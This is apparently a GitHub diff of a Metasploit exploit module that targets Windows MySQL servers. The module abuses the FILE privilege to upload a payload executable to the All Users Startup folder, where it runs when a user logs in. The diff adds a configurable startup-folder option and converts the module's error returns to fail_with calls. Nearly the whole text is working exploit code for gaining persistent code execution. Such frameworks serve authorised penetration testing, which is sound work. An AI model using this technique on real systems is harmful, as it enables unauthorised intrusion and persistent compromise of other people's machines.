@@ -18,7 +18,8 @@ def initialize(info = {})
18
18
This module takes advantage of a file privilege misconfiguration problem
19
19
specifically against Windows MySQL servers. This module abuses the FILE
20
20
privilege to write a payload to Microsoft's All Users Start Up directory
21
- which will execute every time a user logs in.
21
+ which will execute every time a user logs in. The default All Users Start
22
+ Up directory used by the module is Windows 7 friendly.
22
23
} ,
23
24
'Author' =>
24
25
[
@@ -49,7 +50,8 @@ def initialize(info = {})
49
50
register_options (
50
51
[
51
52
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' ] ) ,
52
- OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
53
+ OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] ) ,
54
+ OptString . new ( 'STARTUP_FOLDER' , [ true , 'The All Users Start Up folder' , '/programdata/microsoft/windows/start menu/programs/startup/' ] )
53
55
] )
54
56
end
55
57
@@ -84,7 +86,7 @@ def query(q)
84
86
85
87
def is_windows?
86
88
r = query ( "SELECT @@version_compile_os;" )
87
- return ( r [ 0 ] [ '@@version_compile_os' ] =~ /^Win/ ) ? true : false
89
+ r [ 0 ] [ '@@version_compile_os' ] =~ /^Win/ ? true : false
88
90
end
89
91
90
92
def get_drive_letter
@@ -103,38 +105,35 @@ def exploit
103
105
print_status ( "#{ peer } - Attempting to login as '#{ datastore [ 'USERNAME' ] } :#{ datastore [ 'PASSWORD' ] } '" )
104
106
begin
105
107
m = mysql_login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
106
- return if not m
107
108
rescue RbMysql ::AccessDeniedError
108
- print_error ( "#{ peer } - Access denied." )
109
- return
109
+ fail_with ( Failure ::NoAccess , "#{ peer } - Access denied" )
110
110
end
111
111
112
+ fail_with ( Failure ::NoAccess , "#{ peer } - Unable to Login" ) unless m
113
+
112
114
unless is_windows?
113
- print_error ( "#{ peer } - Remote host isn't Windows." )
114
- return
115
+ fail_with ( Failure ::NoTarget , "#{ peer } - Remote host isn't Windows" )
115
116
end
116
117
117
118
begin
118
119
drive = get_drive_letter
119
- return unless drive
120
120
rescue RbMysql ::ParseError
121
- print_error ( "Could not determine drive name" )
122
- return
121
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not determine drive name" )
123
122
end
124
123
124
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not determine drive name" ) unless drive
125
+
125
126
exe_name = Rex ::Text ::rand_text_alpha ( 5 ) + ".exe"
126
- dest = "#{ drive } :/programdata/microsoft/windows/start menu/programs/startup/ #{ exe_name } "
127
+ dest = "#{ drive } :#{ datastore [ 'STARTUP_FOLDER' ] } #{ exe_name } "
127
128
exe = generate_payload_exe
128
129
129
130
print_status ( "#{ peer } - Uploading to '#{ dest } '" )
130
131
begin
131
132
upload_file ( exe , dest )
132
- register_file_for_cleanup ( "#{ dest } " )
133
133
rescue RbMysql ::AccessDeniedError
134
- print_error ( "#{ peer } - No permission to write. I blame kc :-)" )
135
- return
134
+ fail_with ( Failure ::NotVulnerable , "#{ peer } - No permission to write. I blame kc :-)" )
136
135
end
137
-
136
+ register_file_for_cleanup ( " #{ dest } " )
138
137
end
139
138
140
139
end
0 commit comments